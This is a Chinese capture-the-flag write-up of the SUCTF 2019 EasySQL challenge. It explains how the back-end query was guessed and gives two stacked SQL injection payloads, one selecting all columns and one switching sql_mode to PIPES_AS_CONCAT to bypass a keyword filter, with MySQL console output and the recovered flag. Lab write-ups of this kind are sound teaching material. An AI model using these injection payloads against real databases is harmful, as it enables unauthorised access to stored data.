[SUCTF 2019]EasySQL 1
这个题目搞了我好久,由于本人基础不扎实,试了好多方法,只发现有三种情况
Nonono、无返回结果和有返回
然后使用了新学习的堆叠注入,得到了数据库名和表名


想要查看Flag表的字段内容也查看不了


这里我就无计可施了,到底是怎么回事?
观看了大佬的WP,原来是这样
根据猜解,后端的语句是
select $_POST['query'] || flag from Flag;
所以一切的原理就出啦了
mysql> select 0 || 'flag';
+-------------+
| 0 || 'flag' |
+-------------+
| 0 |
+-------------+
1 row in set, 1 warning (0.00 sec)
mysql> select 1 || 'flag';
+-------------+
| 1 || 'flag' |
+-------------+
| 1 |
+-------------+
1 row in set (0.00 sec)
mysql> select 2 || 'flag';
+-------------+
| 2 || 'flag' |
+-------------+
| 1 |
+-------------+
1 row in set (0.00 sec)
mysql> select 'a' || 'flag';
+---------------+
| 'a' || 'flag' |
+---------------+
| 0 |
+---------------+
1 row in set, 2 warnings (0.00 sec)
所以这里只有非零数字和flag或(or、||)运算才可以返回真,才会有返回结果
那么Nonono就是我们传入的关键字被过滤了,这样都理解了。
那么如何绕过这个注入,才是关键。
方法一:
payload
1;select *,1
和SQL语句拼接后
select *,1 || flag from Flag
1和flag的结果是1,然后语句就成为了
select *,1 from Flag,*是数据库全部内容的意思,所以得到flag
flag{2231a903-6115-4dcc-8c0f-3d6086b54819}
方法二
大佬给出了一个关键的MySQL配置sql_mod
SQL_MOD:是MySQL支持的基本语法、校验规则
其中PIPES_AS_CONCAT:会将||认为字符串的连接符,而不是或运算符,这时||符号就像concat函数一样。
mysql> set sql_mode=PIPES_AS_CONCAT;
Query OK, 0 rows affected (0.00 sec)
mysql>
mysql> select 1 || 'flag';
+-------------+
| 1 || 'flag' |
+-------------+
| 1flag |
+-------------+
1 row in set (0.00 sec)
mysql> select 'a' || 'flag';
+---------------+
| 'a' || 'flag' |
+---------------+
| aflag |
+---------------+
1 row in set (0.00 sec)
所以只需要更改SQL_mod配置,然后随便查询一个值就可以得到flag
payload:
1;set sql_mod=PIPES_AS_CONCAT;select 1
插入SQL语句就成为
select concat(1,flag) from Flag;
成功得到flag
[SUCTF 2019]EasySQL 1的更多相关文章
- 刷题记录:[SUCTF 2019]EasySQL
目录 刷题记录:[SUCTF 2019]EasySQL 一.涉及知识点 1.堆叠注入 2.set sql_mode=PIPES_AS_CONCAT;将||视为字符串的连接操作符而非或运算符 3.没有过 ...
- BUUCTF | [SUCTF 2019]EasySQL (堆叠注入)
fuzz ing了一下,发现了一堆过滤: 同时发现了注入点,这个应该是var_dump()函数 ===============第二天的分割线 好吧我放弃了,找了一下wp 正确解:select 1;se ...
- [SUCTF 2019]EasySQL(堆叠注入配合sql_mode)
考点:1.堆叠注入 2.set sql_mode=PIPES_AS_CONCAT;将||视为字符串的连接操作符而非或运算符 意外:注入* 复现: 1;set sql_mode=PIPES_AS_CON ...
- BUUCTF [SUCTF 2019]EasySQL
首先打开网址 发现有三种显示方法 还有一个没有输出 可以堆叠注入 1;show databases; 1;show tables; 可以看到有一个Flag表 测试发现from flag都被过滤不能直接 ...
- 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)
目录 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP) 一.涉及知识点 1.无数字字母shell 2.利用.htaccess上传文件 3.绕过open_basedir/disable ...
- 刷题记录:[SUCTF 2019]Pythonginx
目录 刷题记录:[SUCTF 2019]Pythonginx 一.涉及知识点 1. CVE-2019-9636:urlsplit不处理NFKC标准化 2.Nginx重要文件位置 二.解题方法 刷题记录 ...
- 刷题记录:[SUCTF 2019]CheckIn
目录 刷题记录:[SUCTF 2019]CheckIn 一.涉及知识点 1.利用.user.ini上传\隐藏后门 2.绕过exif_imagetype()的奇技淫巧 二.解题方法 刷题记录:[SUCT ...
- SUCTF 2019 Upload labs 2 踩坑记录
SUCTF 2019 Upload labs 2 踩坑记录 题目地址 : https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload La ...
- [原题复现]SUCTF 2019 WEB EasySQL(堆叠注入)
简介 原题复现: 1 <?php 2 session_start(); 3 4 include_once "config.php"; 5 6 $post = array() ...
- [SUCTF 2019]Pythonginx
贴出源码 @app.route('/getUrl', methods=['GET', 'POST']) def getUrl(): url = request.args.get("url&q ...
随机推荐
- C#定时任务(Timer)
新建Timer类 using BaseAsset.Data.Infrastructure; using BaseAsset.Data.Repositories; using BaseAsset.Ent ...
- S家lic
1,用1patch里对应的工具patch 2019的s家的工具2,用ocad里的lmgrd和snpslmd替换s家的scl里的3,用scl_keygen产生license,再用fix.bat,添加si ...
- Mardown学习
Mardown学习 标题: 一级标题:'#'+'空格'+'标题名字'+'回车' 二级标题:'##'+'空格'+'标题名字'+'回车' 三级标题:'###'+'空格'+'标题名字'+'回车' 四级标题: ...
- axios基本配置
点击查看代码 <!-- axios基础用法 --> <script> /** * axios:一款基于promise设计模式封装的ajax库(JQ中的ajax就是最普通的aja ...
- LayUI 简单的全选和反选小例子
比较简单实用,直接上代码,主要就是 lay-filter="ischange" 触发事件和 checkbox 的 class="ids" 对上就行: H ...
- Debug --> CICFlowMeter的java版本安装及使用
一. 首先,给出一个很详细的配置链接!使用IDEA进行配置~ https://blog.csdn.net/BananaMan45/article/details/105473151?utm_mediu ...
- 微信小程序ECharts通过调用api接口实现图表的数据可视化
小程序ECharts使用接口调入数据 首先附上js文件链接:axios.js 提取码:AxIo 将此放到小程序目录下的utils文件夹下 在已经完成图表的js文件中完成以下修改: ①引用axios.j ...
- 工作随笔1-从slave备份,恢复成新得从库
innobackupex --slave-info --safe-slave-backup --no-timestamp tmp_lastinnobackupex --apply-log tmp_la ...
- mybatis插入批量数据
1 for循环重复调用dao,消耗大 2 sql语句编写插入多条,只用于少数 3 mybatis的batch插入 @Test public void testInsertBatch2() ...
- K8S中Pod概念
一.资源限制 Pod 是 kubernetes 中最小的资源管理组件,Pod 也是最小化运行容器化应用的资源对象.一个 Pod 代表着集群中运行的一个进程.kubernetes 中其他大多数组件都是围 ...